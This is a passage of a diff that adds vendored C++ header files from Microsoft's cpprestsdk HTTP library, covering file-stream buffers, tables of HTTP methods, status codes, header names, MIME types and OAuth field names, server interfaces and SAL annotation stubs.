||||||
|
/// <param name="callback">A pointer to the callback interface to invoke when the write request is
|
||||||
|
/// completed.</param> <param name="ptr">A pointer to a buffer where the data should be placed</param> <param
|
||||||
|
/// name="count">The size (in characters) of the buffer</param> <returns>0 if the read request is still outstanding,
|
||||||
|
/// -1 if the request failed, otherwise the size of the data read into the buffer</returns>
|
||||||
|
_ASYNCRTIMP size_t __cdecl _getn_fsb(_In_ concurrency::streams::details::_file_info* info,
|
||||||
|
_In_ concurrency::streams::details::_filestream_callback* callback,
|
||||||
|
_Out_writes_(count) void* ptr,
|
||||||
|
_In_ size_t count,
|
||||||
|
size_t char_size);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Flush all buffered data to the underlying file.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="info">The file info record of the file</param>
|
||||||
|
/// <param name="callback">A pointer to the callback interface to invoke when the write request is
|
||||||
|
/// completed.</param> <returns><c>true</c> if the request was initiated</returns>
|
||||||
|
_ASYNCRTIMP bool __cdecl _sync_fsb(_In_ concurrency::streams::details::_file_info* info,
|
||||||
|
_In_ concurrency::streams::details::_filestream_callback* callback);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get the size of the underlying file.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="info">The file info record of the file</param>
|
||||||
|
/// <returns>The file size</returns>
|
||||||
|
_ASYNCRTIMP utility::size64_t __cdecl _get_size(_In_ concurrency::streams::details::_file_info* info,
|
||||||
|
size_t char_size);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Adjust the internal buffers and pointers when the application seeks to a new read location in the stream.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="info">The file info record of the file</param>
|
||||||
|
/// <param name="pos">The new position (offset from the start) in the file stream</param>
|
||||||
|
/// <returns><c>true</c> if the request was initiated</returns>
|
||||||
|
_ASYNCRTIMP size_t __cdecl _seekrdpos_fsb(_In_ concurrency::streams::details::_file_info* info,
|
||||||
|
size_t pos,
|
||||||
|
size_t char_size);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Adjust the internal buffers and pointers when the application seeks to a new read location in the stream.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="info">The file info record of the file</param>
|
||||||
|
/// <param name="pos">The new position (offset from the start) in the file stream</param>
|
||||||
|
/// <returns><c>true</c> if the request was initiated</returns>
|
||||||
|
_ASYNCRTIMP size_t __cdecl _seekrdtoend_fsb(_In_ concurrency::streams::details::_file_info* info,
|
||||||
|
int64_t offset,
|
||||||
|
size_t char_size);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Adjust the internal buffers and pointers when the application seeks to a new write location in the stream.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="info">The file info record of the file</param>
|
||||||
|
/// <param name="pos">The new position (offset from the start) in the file stream</param>
|
||||||
|
/// <returns><c>true</c> if the request was initiated</returns>
|
||||||
|
_ASYNCRTIMP size_t __cdecl _seekwrpos_fsb(_In_ concurrency::streams::details::_file_info* info,
|
||||||
|
size_t pos,
|
||||||
|
size_t char_size);
|
||||||
|
}
|
|
@ -0,0 +1,198 @@
|
||||||
|
#ifdef _METHODS
|
||||||
|
DAT(GET, _XPLATSTR("GET"))
|
||||||
|
DAT(POST, _XPLATSTR("POST"))
|
||||||
|
DAT(PUT, _XPLATSTR("PUT"))
|
||||||
|
DAT(DEL, _XPLATSTR("DELETE"))
|
||||||
|
DAT(HEAD, _XPLATSTR("HEAD"))
|
||||||
|
DAT(OPTIONS, _XPLATSTR("OPTIONS"))
|
||||||
|
DAT(TRCE, _XPLATSTR("TRACE"))
|
||||||
|
DAT(CONNECT, _XPLATSTR("CONNECT"))
|
||||||
|
DAT(MERGE, _XPLATSTR("MERGE"))
|
||||||
|
DAT(PATCH, _XPLATSTR("PATCH"))
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef _PHRASES
|
||||||
|
DAT(Continue, 100, _XPLATSTR("Continue"))
|
||||||
|
DAT(SwitchingProtocols, 101, _XPLATSTR("Switching Protocols"))
|
||||||
|
DAT(OK, 200, _XPLATSTR("OK"))
|
||||||
|
DAT(Created, 201, _XPLATSTR("Created"))
|
||||||
|
DAT(Accepted, 202, _XPLATSTR("Accepted"))
|
||||||
|
DAT(NonAuthInfo, 203, _XPLATSTR("Non-Authoritative Information"))
|
||||||
|
DAT(NoContent, 204, _XPLATSTR("No Content"))
|
||||||
|
DAT(ResetContent, 205, _XPLATSTR("Reset Content"))
|
||||||
|
DAT(PartialContent, 206, _XPLATSTR("Partial Content"))
|
||||||
|
DAT(MultiStatus, 207, _XPLATSTR("Multi-Status"))
|
||||||
|
DAT(AlreadyReported, 208, _XPLATSTR("Already Reported"))
|
||||||
|
DAT(IMUsed, 226, _XPLATSTR("IM Used"))
|
||||||
|
DAT(MultipleChoices, 300, _XPLATSTR("Multiple Choices"))
|
||||||
|
DAT(MovedPermanently, 301, _XPLATSTR("Moved Permanently"))
|
||||||
|
DAT(Found, 302, _XPLATSTR("Found"))
|
||||||
|
DAT(SeeOther, 303, _XPLATSTR("See Other"))
|
||||||
|
DAT(NotModified, 304, _XPLATSTR("Not Modified"))
|
||||||
|
DAT(UseProxy, 305, _XPLATSTR("Use Proxy"))
|
||||||
|
DAT(TemporaryRedirect, 307, _XPLATSTR("Temporary Redirect"))
|
||||||
|
DAT(PermanentRedirect, 308, _XPLATSTR("Permanent Redirect"))
|
||||||
|
DAT(BadRequest, 400, _XPLATSTR("Bad Request"))
|
||||||
|
DAT(Unauthorized, 401, _XPLATSTR("Unauthorized"))
|
||||||
|
DAT(PaymentRequired, 402, _XPLATSTR("Payment Required"))
|
||||||
|
DAT(Forbidden, 403, _XPLATSTR("Forbidden"))
|
||||||
|
DAT(NotFound, 404, _XPLATSTR("Not Found"))
|
||||||
|
DAT(MethodNotAllowed, 405, _XPLATSTR("Method Not Allowed"))
|
||||||
|
DAT(NotAcceptable, 406, _XPLATSTR("Not Acceptable"))
|
||||||
|
DAT(ProxyAuthRequired, 407, _XPLATSTR("Proxy Authentication Required"))
|
||||||
|
DAT(RequestTimeout, 408, _XPLATSTR("Request Time-out"))
|
||||||
|
DAT(Conflict, 409, _XPLATSTR("Conflict"))
|
||||||
|
DAT(Gone, 410, _XPLATSTR("Gone"))
|
||||||
|
DAT(LengthRequired, 411, _XPLATSTR("Length Required"))
|
||||||
|
DAT(PreconditionFailed, 412, _XPLATSTR("Precondition Failed"))
|
||||||
|
DAT(RequestEntityTooLarge, 413, _XPLATSTR("Request Entity Too Large"))
|
||||||
|
DAT(RequestUriTooLarge, 414, _XPLATSTR("Request Uri Too Large"))
|
||||||
|
DAT(UnsupportedMediaType, 415, _XPLATSTR("Unsupported Media Type"))
|
||||||
|
DAT(RangeNotSatisfiable, 416, _XPLATSTR("Requested range not satisfiable"))
|
||||||
|
DAT(ExpectationFailed, 417, _XPLATSTR("Expectation Failed"))
|
||||||
|
DAT(MisdirectedRequest, 421, _XPLATSTR("Misdirected Request"))
|
||||||
|
DAT(UnprocessableEntity, 422, _XPLATSTR("Unprocessable Entity"))
|
||||||
|
DAT(Locked, 423, _XPLATSTR("Locked"))
|
||||||
|
DAT(FailedDependency, 424, _XPLATSTR("Failed Dependency"))
|
||||||
|
DAT(UpgradeRequired, 426, _XPLATSTR("Upgrade Required"))
|
||||||
|
DAT(PreconditionRequired, 428, _XPLATSTR("Precondition Required"))
|
||||||
|
DAT(TooManyRequests, 429, _XPLATSTR("Too Many Requests"))
|
||||||
|
DAT(RequestHeaderFieldsTooLarge, 431, _XPLATSTR("Request Header Fields Too Large"))
|
||||||
|
DAT(UnavailableForLegalReasons, 451, _XPLATSTR("Unavailable For Legal Reasons"))
|
||||||
|
DAT(InternalError, 500, _XPLATSTR("Internal Error"))
|
||||||
|
DAT(NotImplemented, 501, _XPLATSTR("Not Implemented"))
|
||||||
|
DAT(BadGateway, 502, _XPLATSTR("Bad Gateway"))
|
||||||
|
DAT(ServiceUnavailable, 503, _XPLATSTR("Service Unavailable"))
|
||||||
|
DAT(GatewayTimeout, 504, _XPLATSTR("Gateway Time-out"))
|
||||||
|
DAT(HttpVersionNotSupported, 505, _XPLATSTR("HTTP Version not supported"))
|
||||||
|
DAT(VariantAlsoNegotiates, 506, _XPLATSTR("Variant Also Negotiates"))
|
||||||
|
DAT(InsufficientStorage, 507, _XPLATSTR("Insufficient Storage"))
|
||||||
|
DAT(LoopDetected, 508, _XPLATSTR("Loop Detected"))
|
||||||
|
DAT(NotExtended, 510, _XPLATSTR("Not Extended"))
|
||||||
|
DAT(NetworkAuthenticationRequired, 511, _XPLATSTR("Network Authentication Required"))
|
||||||
|
#endif // _PHRASES
|
||||||
|
|
||||||
|
#ifdef _HEADER_NAMES
|
||||||
|
DAT(accept, "Accept")
|
||||||
|
DAT(accept_charset, "Accept-Charset")
|
||||||
|
DAT(accept_encoding, "Accept-Encoding")
|
||||||
|
DAT(accept_language, "Accept-Language")
|
||||||
|
DAT(accept_ranges, "Accept-Ranges")
|
||||||
|
DAT(access_control_allow_origin, "Access-Control-Allow-Origin")
|
||||||
|
DAT(age, "Age")
|
||||||
|
DAT(allow, "Allow")
|
||||||
|
DAT(authorization, "Authorization")
|
||||||
|
DAT(cache_control, "Cache-Control")
|
||||||
|
DAT(connection, "Connection")
|
||||||
|
DAT(content_encoding, "Content-Encoding")
|
||||||
|
DAT(content_language, "Content-Language")
|
||||||
|
DAT(content_length, "Content-Length")
|
||||||
|
DAT(content_location, "Content-Location")
|
||||||
|
DAT(content_md5, "Content-MD5")
|
||||||
|
DAT(content_range, "Content-Range")
|
||||||
|
DAT(content_type, "Content-Type")
|
||||||
|
DAT(content_disposition, "Content-Disposition")
|
||||||
|
DAT(date, "Date")
|
||||||
|
DAT(etag, "ETag")
|
||||||
|
DAT(expect, "Expect")
|
||||||
|
DAT(expires, "Expires")
|
||||||
|
DAT(from, "From")
|
||||||
|
DAT(host, "Host")
|
||||||
|
DAT(if_match, "If-Match")
|
||||||
|
DAT(if_modified_since, "If-Modified-Since")
|
||||||
|
DAT(if_none_match, "If-None-Match")
|
||||||
|
DAT(if_range, "If-Range")
|
||||||
|
DAT(if_unmodified_since, "If-Unmodified-Since")
|
||||||
|
DAT(last_modified, "Last-Modified")
|
||||||
|
DAT(location, "Location")
|
||||||
|
DAT(max_forwards, "Max-Forwards")
|
||||||
|
DAT(pragma, "Pragma")
|
||||||
|
DAT(proxy_authenticate, "Proxy-Authenticate")
|
||||||
|
DAT(proxy_authorization, "Proxy-Authorization")
|
||||||
|
DAT(range, "Range")
|
||||||
|
DAT(referer, "Referer")
|
||||||
|
DAT(retry_after, "Retry-After")
|
||||||
|
DAT(server, "Server")
|
||||||
|
DAT(te, "TE")
|
||||||
|
DAT(trailer, "Trailer")
|
||||||
|
DAT(transfer_encoding, "Transfer-Encoding")
|
||||||
|
DAT(upgrade, "Upgrade")
|
||||||
|
DAT(user_agent, "User-Agent")
|
||||||
|
DAT(vary, "Vary")
|
||||||
|
DAT(via, "Via")
|
||||||
|
DAT(warning, "Warning")
|
||||||
|
DAT(www_authenticate, "WWW-Authenticate")
|
||||||
|
#endif // _HEADER_NAMES
|
||||||
|
|
||||||
|
#ifdef _MIME_TYPES
|
||||||
|
DAT(application_atom_xml, "application/atom+xml")
|
||||||
|
DAT(application_http, "application/http")
|
||||||
|
DAT(application_javascript, "application/javascript")
|
||||||
|
DAT(application_json, "application/json")
|
||||||
|
DAT(application_xjson, "application/x-json")
|
||||||
|
DAT(application_octetstream, "application/octet-stream")
|
||||||
|
DAT(application_x_www_form_urlencoded, "application/x-www-form-urlencoded")
|
||||||
|
DAT(multipart_form_data, "multipart/form-data")
|
||||||
|
DAT(boundary, "boundary")
|
||||||
|
DAT(form_data, "form-data")
|
||||||
|
DAT(application_xjavascript, "application/x-javascript")
|
||||||
|
DAT(application_xml, "application/xml")
|
||||||
|
DAT(message_http, "message/http")
|
||||||
|
DAT(text, "text")
|
||||||
|
DAT(text_javascript, "text/javascript")
|
||||||
|
DAT(text_json, "text/json")
|
||||||
|
DAT(text_plain, "text/plain")
|
||||||
|
DAT(text_plain_utf16, "text/plain; charset=utf-16")
|
||||||
|
DAT(text_plain_utf16le, "text/plain; charset=utf-16le")
|
||||||
|
DAT(text_plain_utf8, "text/plain; charset=utf-8")
|
||||||
|
DAT(text_xjavascript, "text/x-javascript")
|
||||||
|
DAT(text_xjson, "text/x-json")
|
||||||
|
#endif // _MIME_TYPES
|
||||||
|
|
||||||
|
#ifdef _CHARSET_TYPES
|
||||||
|
DAT(ascii, "ascii")
|
||||||
|
DAT(usascii, "us-ascii")
|
||||||
|
DAT(latin1, "iso-8859-1")
|
||||||
|
DAT(utf8, "utf-8")
|
||||||
|
DAT(utf16, "utf-16")
|
||||||
|
DAT(utf16le, "utf-16le")
|
||||||
|
DAT(utf16be, "utf-16be")
|
||||||
|
#endif // _CHARSET_TYPES
|
||||||
|
|
||||||
|
#ifdef _OAUTH1_METHODS
|
||||||
|
DAT(hmac_sha1, _XPLATSTR("HMAC-SHA1"))
|
||||||
|
DAT(plaintext, _XPLATSTR("PLAINTEXT"))
|
||||||
|
#endif // _OAUTH1_METHODS
|
||||||
|
|
||||||
|
#ifdef _OAUTH1_STRINGS
|
||||||
|
DAT(callback, "oauth_callback")
|
||||||
|
DAT(callback_confirmed, "oauth_callback_confirmed")
|
||||||
|
DAT(consumer_key, "oauth_consumer_key")
|
||||||
|
DAT(nonce, "oauth_nonce")
|
||||||
|
DAT(realm, "realm") // NOTE: No "oauth_" prefix.
|
||||||
|
DAT(signature, "oauth_signature")
|
||||||
|
DAT(signature_method, "oauth_signature_method")
|
||||||
|
DAT(timestamp, "oauth_timestamp")
|
||||||
|
DAT(token, "oauth_token")
|
||||||
|
DAT(token_secret, "oauth_token_secret")
|
||||||
|
DAT(verifier, "oauth_verifier")
|
||||||
|
DAT(version, "oauth_version")
|
||||||
|
#endif // _OAUTH1_STRINGS
|
||||||
|
|
||||||
|
#ifdef _OAUTH2_STRINGS
|
||||||
|
DAT(access_token, "access_token")
|
||||||
|
DAT(authorization_code, "authorization_code")
|
||||||
|
DAT(bearer, "bearer")
|
||||||
|
DAT(client_id, "client_id")
|
||||||
|
DAT(client_secret, "client_secret")
|
||||||
|
DAT(code, "code")
|
||||||
|
DAT(expires_in, "expires_in")
|
||||||
|
DAT(grant_type, "grant_type")
|
||||||
|
DAT(redirect_uri, "redirect_uri")
|
||||||
|
DAT(refresh_token, "refresh_token")
|
||||||
|
DAT(response_type, "response_type")
|
||||||
|
DAT(scope, "scope")
|
||||||
|
DAT(state, "state")
|
||||||
|
DAT(token, "token")
|
||||||
|
DAT(token_type, "token_type")
|
||||||
|
#endif // _OAUTH2_STRINGS
|
|
@ -0,0 +1,48 @@
|
||||||
|
/***
|
||||||
|
* Copyright (C) Microsoft. All rights reserved.
|
||||||
|
* Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.
|
||||||
|
*
|
||||||
|
* =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
|
||||||
|
*
|
||||||
|
* Implementation Details of the http.h layer of messaging
|
||||||
|
*
|
||||||
|
* Functions and types for interoperating with http.h from modern C++
|
||||||
|
* This file includes windows definitions and should not be included in a public header
|
||||||
|
*
|
||||||
|
* For the latest on this and related APIs, please see: https://github.com/Microsoft/cpprestsdk
|
||||||
|
*
|
||||||
|
* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||||
|
****/
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/details/basic_types.h"
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/http_msg.h"
|
||||||
|
|
||||||
|
namespace web
|
||||||
|
{
|
||||||
|
namespace http
|
||||||
|
{
|
||||||
|
namespace details
|
||||||
|
{
|
||||||
|
namespace chunked_encoding
|
||||||
|
{
|
||||||
|
// Transfer-Encoding: chunked support
|
||||||
|
static const size_t additional_encoding_space = 12;
|
||||||
|
static const size_t data_offset = additional_encoding_space - 2;
|
||||||
|
|
||||||
|
// Add the data necessary for properly sending data with transfer-encoding: chunked.
|
||||||
|
//
|
||||||
|
// There are up to 12 additional bytes needed for each chunk:
|
||||||
|
//
|
||||||
|
// The last chunk requires 5 bytes, and is fixed.
|
||||||
|
// All other chunks require up to 8 bytes for the length, and four for the two CRLF
|
||||||
|
// delimiters.
|
||||||
|
//
|
||||||
|
_ASYNCRTIMP size_t __cdecl add_chunked_delimiters(_Out_writes_(buffer_size) uint8_t* data,
|
||||||
|
_In_ size_t buffer_size,
|
||||||
|
size_t bytes_read);
|
||||||
|
} // namespace chunked_encoding
|
||||||
|
|
||||||
|
} // namespace details
|
||||||
|
} // namespace http
|
||||||
|
} // namespace web
|
|
@ -0,0 +1,72 @@
|
||||||
|
/***
|
||||||
|
* Copyright (C) Microsoft. All rights reserved.
|
||||||
|
* Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.
|
||||||
|
*
|
||||||
|
* =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
|
||||||
|
*
|
||||||
|
* HTTP Library: interface to implement HTTP server to service http_listeners.
|
||||||
|
*
|
||||||
|
* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||||
|
****/
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#if _WIN32_WINNT < _WIN32_WINNT_VISTA
|
||||||
|
#error "Error: http server APIs are not supported in XP"
|
||||||
|
#endif //_WIN32_WINNT < _WIN32_WINNT_VISTA
|
||||||
|
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/http_listener.h"
|
||||||
|
|
||||||
|
namespace web
|
||||||
|
{
|
||||||
|
namespace http
|
||||||
|
{
|
||||||
|
namespace experimental
|
||||||
|
{
|
||||||
|
namespace details
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Interface http listeners interact with for receiving and responding to http requests.
|
||||||
|
/// </summary>
|
||||||
|
class http_server
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
/// <summary>
|
||||||
|
/// Release any held resources.
|
||||||
|
/// </summary>
|
||||||
|
virtual ~http_server() {};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Start listening for incoming requests.
|
||||||
|
/// </summary>
|
||||||
|
virtual pplx::task<void> start() = 0;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Registers an http listener.
|
||||||
|
/// </summary>
|
||||||
|
virtual pplx::task<void> register_listener(
|
||||||
|
_In_ web::http::experimental::listener::details::http_listener_impl* pListener) = 0;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Unregisters an http listener.
|
||||||
|
/// </summary>
|
||||||
|
virtual pplx::task<void> unregister_listener(
|
||||||
|
_In_ web::http::experimental::listener::details::http_listener_impl* pListener) = 0;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Stop processing and listening for incoming requests.
|
||||||
|
/// </summary>
|
||||||
|
virtual pplx::task<void> stop() = 0;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Asynchronously sends the specified http response.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="response">The http_response to send.</param>
|
||||||
|
/// <returns>A operation which is completed once the response has been sent.</returns>
|
||||||
|
virtual pplx::task<void> respond(http::http_response response) = 0;
|
||||||
|
};
|
||||||
|
|
||||||
|
} // namespace details
|
||||||
|
} // namespace experimental
|
||||||
|
} // namespace http
|
||||||
|
} // namespace web
|
|
@ -0,0 +1,93 @@
|
||||||
|
/***
|
||||||
|
* Copyright (C) Microsoft. All rights reserved.
|
||||||
|
* Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.
|
||||||
|
*
|
||||||
|
* =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
|
||||||
|
*
|
||||||
|
* HTTP Library: exposes the entry points to the http server transport apis.
|
||||||
|
*
|
||||||
|
* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||||
|
****/
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#if _WIN32_WINNT < _WIN32_WINNT_VISTA
|
||||||
|
#error "Error: http server APIs are not supported in XP"
|
||||||
|
#endif //_WIN32_WINNT < _WIN32_WINNT_VISTA
|
||||||
|
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/http_listener.h"
|
||||||
|
#include <memory>
|
||||||
|
|
||||||
|
namespace web
|
||||||
|
{
|
||||||
|
namespace http
|
||||||
|
{
|
||||||
|
namespace experimental
|
||||||
|
{
|
||||||
|
namespace details
|
||||||
|
{
|
||||||
|
class http_server;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Singleton class used to register for http requests and send responses.
|
||||||
|
///
|
||||||
|
/// The lifetime is tied to http listener registration. When the first listener registers an instance is created
|
||||||
|
/// and when the last one unregisters the receiver stops and is destroyed. It can be started back up again if
|
||||||
|
/// listeners are again registered.
|
||||||
|
/// </summary>
|
||||||
|
class http_server_api
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
/// <summary>
|
||||||
|
/// Returns whether or not any listeners are registered.
|
||||||
|
/// </summary>
|
||||||
|
static bool __cdecl has_listener();
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Registers a HTTP server API.
|
||||||
|
/// </summary>
|
||||||
|
static void __cdecl register_server_api(std::unique_ptr<http_server> server_api);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Clears the http server API.
|
||||||
|
/// </summary>
|
||||||
|
static void __cdecl unregister_server_api();
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Registers a listener for HTTP requests and starts receiving.
|
||||||
|
/// </summary>
|
||||||
|
static pplx::task<void> __cdecl register_listener(
|
||||||
|
_In_ web::http::experimental::listener::details::http_listener_impl* pListener);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Unregisters the given listener and stops listening for HTTP requests.
|
||||||
|
/// </summary>
|
||||||
|
static pplx::task<void> __cdecl unregister_listener(
|
||||||
|
_In_ web::http::experimental::listener::details::http_listener_impl* pListener);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets static HTTP server API. Could be null if no registered listeners.
|
||||||
|
/// </summary>
|
||||||
|
static http_server* __cdecl server_api();
|
||||||
|
|
||||||
|
private:
|
||||||
|
/// Used to lock access to the server api registration
|
||||||
|
static pplx::extensibility::critical_section_t s_lock;
|
||||||
|
|
||||||
|
/// Registers a server API set -- this assumes the lock has already been taken
|
||||||
|
static void unsafe_register_server_api(std::unique_ptr<http_server> server_api);
|
||||||
|
|
||||||
|
// Static instance of the HTTP server API.
|
||||||
|
static std::unique_ptr<http_server> s_server_api;
|
||||||
|
|
||||||
|
/// Number of registered listeners;
|
||||||
|
static pplx::details::atomic_long s_registrations;
|
||||||
|
|
||||||
|
// Static only class. No creation.
|
||||||
|
http_server_api();
|
||||||
|
};
|
||||||
|
|
||||||
|
} // namespace details
|
||||||
|
} // namespace experimental
|
||||||
|
} // namespace http
|
||||||
|
} // namespace web
|
|
@ -0,0 +1,77 @@
|
||||||
|
/***
|
||||||
|
* Copyright (C) Microsoft. All rights reserved.
|
||||||
|
* Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.
|
||||||
|
*
|
||||||
|
*
|
||||||
|
* For the latest on this and related APIs, please see: https://github.com/Microsoft/cpprestsdk
|
||||||
|
*
|
||||||
|
* =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
|
||||||
|
***/
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
// selected MS SAL annotations
|
||||||
|
|
||||||
|
#ifdef _In_
|
||||||
|
#undef _In_
|
||||||
|
#endif
|
||||||
|
#define _In_
|
||||||
|
|
||||||
|
#ifdef _Inout_
|
||||||
|
#undef _Inout_
|
||||||
|
#endif
|
||||||
|
#define _Inout_
|
||||||
|
|
||||||
|
#ifdef _Out_
|
||||||
|
#undef _Out_
|
||||||
|
#endif
|
||||||
|
#define _Out_
|
||||||
|
|
||||||
|
#ifdef _In_z_
|
||||||
|
#undef _In_z_
|
||||||
|
#endif
|
||||||
|
#define _In_z_
|
||||||
|
|
||||||
|
#ifdef _Out_z_
|
||||||
|
#undef _Out_z_
|
||||||
|
#endif
|
||||||
|
#define _Out_z_
|
||||||
|
|
||||||
|
#ifdef _Inout_z_
|
||||||
|
#undef _Inout_z_
|
||||||
|
#endif
|
||||||
|
#define _Inout_z_
|
||||||
|
|
||||||
|
#ifdef _In_opt_
|
||||||
|
#undef _In_opt_
|
||||||
|
#endif
|
||||||
|
#define _In_opt_
|
||||||
|
|
||||||
|
#ifdef _Out_opt_
|
||||||
|
#undef _Out_opt_
|
||||||
|
#endif
|
||||||
|
#define _Out_opt_
|
||||||
|
|
||||||
|
#ifdef _Inout_opt_
|
||||||
|
#undef _Inout_opt_
|
||||||
|
#endif
|
||||||
|
#define _Inout_opt_
|
||||||
|
|
||||||
|
#ifdef _Out_writes_
|
||||||
|
#undef _Out_writes_
|
||||||
|
#endif
|
||||||
|
#define _Out_writes_(x)
|
||||||
|
|
||||||
|
#ifdef _Out_writes_opt_
|
||||||
|
#undef _Out_writes_opt_
|
||||||
|
#endif
|
||||||
|
#define _Out_writes_opt_(x)
|
||||||
|
|
||||||
|
#ifdef _In_reads_
|
||||||
|
#undef _In_reads_
|
||||||
|
#endif
|
||||||
|
#define _In_reads_(x)
|
||||||
|
|
||||||
|
#ifdef _Inout_updates_bytes_
|
||||||
|
#undef _Inout_updates_bytes_
|
||||||
|
#endif
|
||||||
|
#define _Inout_updates_bytes_(x)
|
|
@ -0,0 +1,14 @@
|
||||||
|
//{{NO_DEPENDENCIES}}
|
||||||
|
// Microsoft Visual C++ generated include file.
|
||||||
|
// Used by Resource.rc
|
||||||
|
|
||||||
|
// Next default values for new objects
|
||||||
|
//
|
||||||
|
#ifdef APSTUDIO_INVOKED
|
||||||
|
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||||
|
#define _APS_NEXT_RESOURCE_VALUE 101
|
||||||
|
#define _APS_NEXT_COMMAND_VALUE 40001
|
||||||
|
#define _APS_NEXT_CONTROL_VALUE 1001
|
||||||
|
#define _APS_NEXT_SYMED_VALUE 101
|
||||||
|
#endif
|
||||||
|
#endif
|
|
@ -0,0 +1,223 @@
|
||||||
|
/***
|
||||||
|
* Copyright (C) Microsoft. All rights reserved.
|
||||||
|
* Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.
|
||||||
|
*
|
||||||
|
* =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
|
||||||
|
*
|
||||||
|
* utility classes used by the different web:: clients
|
||||||
|
*
|
||||||
|
* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||||
|
****/
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/asyncrt_utils.h"
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/uri.h"
|
||||||
|
|
||||||
|
namespace web
|
||||||
|
{
|
||||||
|
namespace details
|
||||||
|
{
|
||||||
|
class zero_memory_deleter
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
_ASYNCRTIMP void operator()(::utility::string_t* data) const;
|
||||||
|
};
|
||||||
|
typedef std::unique_ptr<::utility::string_t, zero_memory_deleter> plaintext_string;
|
||||||
|
|
||||||
|
#if defined(_WIN32) && !defined(CPPREST_TARGET_XP)
|
||||||
|
#if defined(__cplusplus_winrt)
|
||||||
|
class winrt_encryption
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
winrt_encryption() {}
|
||||||
|
_ASYNCRTIMP winrt_encryption(const std::wstring& data);
|
||||||
|
_ASYNCRTIMP plaintext_string decrypt() const;
|
||||||
|
|
||||||
|
private:
|
||||||
|
::pplx::task<Windows::Storage::Streams::IBuffer ^> m_buffer;
|
||||||
|
};
|
||||||
|
#else
|
||||||
|
class win32_encryption
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
win32_encryption() {}
|
||||||
|
_ASYNCRTIMP win32_encryption(const std::wstring& data);
|
||||||
|
_ASYNCRTIMP ~win32_encryption();
|
||||||
|
_ASYNCRTIMP plaintext_string decrypt() const;
|
||||||
|
|
||||||
|
private:
|
||||||
|
std::vector<char> m_buffer;
|
||||||
|
size_t m_numCharacters;
|
||||||
|
};
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
} // namespace details
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Represents a set of user credentials (user name and password) to be used
|
||||||
|
/// for authentication.
|
||||||
